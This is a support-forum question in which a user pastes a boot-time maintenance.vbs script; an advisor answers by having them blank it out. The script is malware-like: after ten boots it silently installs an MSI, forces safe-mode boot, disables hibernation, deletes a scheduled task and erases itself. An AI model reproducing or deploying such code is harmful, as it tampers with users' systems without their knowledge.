Microsoft VBScript runtime error

Anonymous
2019-11-16T17:29:11+00:00

Hello, 

I have been getting this VBScript runtime error everytime when booting. Currently running Windows 10 on version 1903 build 18362.476. I am not sure how to fix this problem since no one seem to have the same as mine. Is there a way to fix this?

This is the code in the maintenance.vbs ;;

Set oShell = CreateObject ("Wscript.Shell")

Dim ccdat

ccdat = "updatesettings.dbf"

Dim fso, setting, cc, strArgs

strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"

Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then

Set setting = fso.OpenTextFile(ccdat, 1, 0)

cc = CInt(setting.ReadLine)

setting.Close

If(cc > 9) Then

oShell.Run strArgs, 0, false

Set objFSO = CreateObject("Scripting.FileSystemObject")

strScript = Wscript.ScriptFullName

objFSO.DeleteFile(ccdat)

objFSO.DeleteFile(strScript)

WScript.Quit()

End If

Set setting = fso.CreateTextFile(ccdat, True, False)

cc = cc+1

setting.Write(cc)

setting.Close

WScript.Quit()

Else

Set setting = fso.CreateTextFile(ccdat, True, False)

setting.Write("0")

setting.Close

WScript.Quit()

End If

Windows for home | Windows 10 | Performance and system failures

Locked Question. This question was migrated from the Microsoft Support Community. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

0 comments No comments
{count} votes

1 answer

Sort by: Most helpful
  1. DaveM121 814.7K Reputation points Independent Advisor
    2019-11-16T17:34:48+00:00

    Hi SebastienWatier

    Open maintenance.vbs again in Notepad

    Replace the entire contacts of that file with the line below and save that file . . .

    Wscript.Quit

    6 people found this answer helpful.
    0 comments No comments